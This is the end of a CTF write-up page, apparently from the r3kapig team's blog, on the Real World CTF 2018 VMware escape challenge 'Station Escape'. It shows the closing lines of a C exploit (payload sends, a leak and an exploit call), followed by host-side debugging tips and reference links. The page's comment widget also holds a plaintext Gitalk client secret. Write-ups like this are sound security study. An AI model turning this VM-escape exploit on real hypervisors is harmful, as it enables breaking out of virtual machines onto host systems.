1605    <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="o">&amp;</span><span class="n">pay3</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1606    <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">pay4</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="n">pay4</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1607    <span class="n">run_cmd</span><span class="p">(</span><span class="n">s4</span><span class="p">);</span>
1608    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1609        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to set len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1610        <span class="k">return</span><span class="p">;</span>
1611    <span class="p">}</span>
1612<span class="p">}</span>
1613<span class="kt">void</span> <span class="nf">main</span><span class="p">(){</span>
1614    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
1615    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
1616    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
1617    <span class="n">leak</span><span class="p">();</span>
1618    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;text base :%p&quot;</span><span class="p">,</span><span class="n">text</span><span class="p">);</span>
1619    <span class="n">exploit</span><span class="p">();</span>
1620<span class="p">}</span>   
1621</pre></div>
1622Enjoy your calculator:)
1623<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/d46yMQQ.png" /></p>
1624<h2 id="_4">关于调试<a class="headerlink" href="#_4" title="Permanent link">&para;</a></h2>
1625<p>调试有点小技巧需要说明一下。首先就是正常的把<code>vmware</code>开起来,然后在<code>host</code>用<code>gdb</code>来<code>attach</code>上去。这个时候我们会下断点,然后继续运行,进入虚拟机<code>guest</code>里面跑<code>exploit</code>脚本。但大家想一下,如果你还在<code>guest</code>里面的时候,<code>host</code>的<code>gdb</code>遇到了断点,会怎样?
1626因为<code>gdb</code>遇到了断点,那么<code>guest</code>就被停住了。然而你还在<code>guest</code>里面,你就没有办法按<code>ctrl+alt</code>切出来了,就像被人放了一招<code>时间停止</code>一样。这个时候你除了含泪强制关机之外没有什么好办法。所以大家在调试的时候记得现在exp开头加个<code>sleep</code>,然后在<code>sleep</code>的时候赶紧把鼠标切出来到<code>host</code>中。这样就可以正常调试了。(PS:好像<code>mac</code>不会有这个问题,因为<code>mac</code>可以直接用触摸板切出来?)</p>
1627<h2 id="_5">相关材料<a class="headerlink" href="#_5" title="Permanent link">&para;</a></h2>
1628<p>题目相关材料:</p>
1629<blockquote>
1630<p>题目操作系统:Ubuntu x64 1804
1631目标VMWare Workstation:VMware-Workstation-Full-15.0.2-10952284.x86_64.bundle,<a href="https://drive.google.com/open?id=1SlojAhX0NCpWTPjASfM03v5QBvRtT-sp">https://drive.google.com/open?id=1SlojAhX0NCpWTPjASfM03v5QBvRtT-sp</a>
1632patched VMX:<a href="https://drive.google.com/open?id=1MJQSQYufGtl9DQnG1osyMk_1YbgCPL-E">https://drive.google.com/open?id=1MJQSQYufGtl9DQnG1osyMk_1YbgCPL-E</a></p>
1633</blockquote>
1634<p>一些参考资料:</p>
1635<blockquote>
1636<p><a href="https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware">https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware</a>
1637<a href="https://www.52pojie.cn/thread-783225-1-1.html">https://www.52pojie.cn/thread-783225-1-1.html</a>
1638<a href="https://sites.google.com/site/chitchatvmback/backdoor">https://sites.google.com/site/chitchatvmback/backdoor</a></p>
1639</blockquote>
1640                
1641                  
1642                
1643              
1644              
1645                <h2 id="__comments">Comments</h2>
1646<form id="gitalk-form" onsubmit="return false;">
1647    <div id="gitalk-container"></div>
1648</form>
1649<link rel="stylesheet" href="https://unpkg.com/gitalk/dist/gitalk.css">
1650<script src="https://unpkg.com/gitalk/dist/gitalk.min.js"></script>
vendor: 1 bytes, line 1650
1650
1651<script src="https://cdnjs.loli.net/ajax/libs/blueimp-md5/2.10.0/js/md5.min.js"></script>
vendor: 1 bytes, line 1651
1651
1652<script>
1653    const gitalk = new Gitalk({
1654        clientID: '3723c7324ba2e721d768', // add yourself's
1655        clientSecret: '258669b5f96c0bb0d7c8460b2c272cf9cd3616fa', // add yourself's
1656        repo: 'comment',
1657        owner: 'beafb1b1', // add yourself's
1658        admin: ['beafb1b1'], // add yourself's
1659        id: md5(location.pathname),      // Ensure uniqueness and length less than 50
1660        distractionFreeMode: false  // Facebook-like distraction free mode
1661    })
1662    gitalk.render('gitalk-container')
1663</script>
1663
1664              
1665            </article>
1666          </div>
1667        </div>
1668      </main>
1669      
1670        
1671<footer class="md-footer">
1672  
1673    <div class="md-footer-nav">
1674      <nav class="md-footer-nav__inner md-grid">
1675        
1676          <a href="../../blockchain/szjj_2019_final_cow_rise/" title="数字经济 2019 final rise cow" class="md-flex md-footer-nav__link md-footer-nav__link--prev" rel="prev">
1677            <div class="md-flex__cell md-flex__cell--shrink">
1678              <i class="md-icon md-icon--arrow-back md-footer-nav__button"></i>
1679            </div>
1680            <div class="md-flex__cell md-flex__cell--stretch md-footer-nav__title">
1681              <span class="md-flex__ellipsis">
1682                <span class="md-footer-nav__direction">
1683                  Previous
1684                </span>
1685                数字经济 2019 final rise cow
1686              </span>
1687            </div>
1688          </a>
1689        
1690        
1691          <a href="../gitpage_fuck/" title="gitpage采坑" class="md-flex md-footer-nav__link md-footer-nav__link--next" rel="next">
1692            <div class="md-flex__cell md-flex__cell--stretch md-footer-nav__title">
1693              <span class="md-flex__ellipsis">
1694                <span class="md-footer-nav__direction">
1695                  Next
1696                </span>
1697                gitpage采坑
1698              </span>
1699            </div>
1700            <div class="md-flex__cell md-flex__cell--shrink">
1701              <i class="md-icon md-icon--arrow-forward md-footer-nav__button"></i>
1702            </div>
1703          </a>
1704        
1705      </nav>
1706    </div>
1707  
1708  <div class="md-footer-meta md-typeset">
1709    <div class="md-footer-meta__inner md-grid">
1710      <div class="md-footer-copyright">
1711        
1712          <div class="md-footer-copyright__highlight">
1713            Copyright &copy; b1b1@r3kapig
1714          </div>
1715        
1716        powered by
1717        <a href="https://www.mkdocs.org">MkDocs</a>
1718        and
1719        <a href="https://squidfunk.github.io/mkdocs-material/">
1720          Material for MkDocs</a>
1721      </div>
1722      
1723    </div>
1724  </div>
1725</footer>
1726      
1727    </div>
1728    
1729      
1729<script src="../../assets/javascripts/application.ac79c3b0.js"></script>
1729
1730      
1731      
1731<script>app.initialize({version:"1.0.4",url:{base:"../.."}})</script>
1731
1732      
1733    
1734  </body>
1735</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.